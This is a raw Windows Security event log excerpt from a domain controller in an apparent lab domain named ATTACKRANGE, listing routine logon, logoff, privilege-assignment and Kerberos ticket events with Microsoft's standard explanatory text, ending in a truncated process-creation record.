	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x142500

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251766
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14249F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251765
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14249F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64551

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251764
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14249F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251763
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x142439

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251762
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x142439
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64550

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251761
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x142439

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251760
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1423D8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251759
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1423D8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64549

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251758
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1423D8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251757
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14059D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251756
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x142375

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251755
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x142375
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251754
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251753
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251752
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251751
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14233F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251750
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14233F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251749
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14233F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251748
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251747
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251746
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251745
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1422CE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251744
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x141AF4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251743
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14079E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251742
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1422CE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251741
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1422CE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251740
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251739
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251738
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251737
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
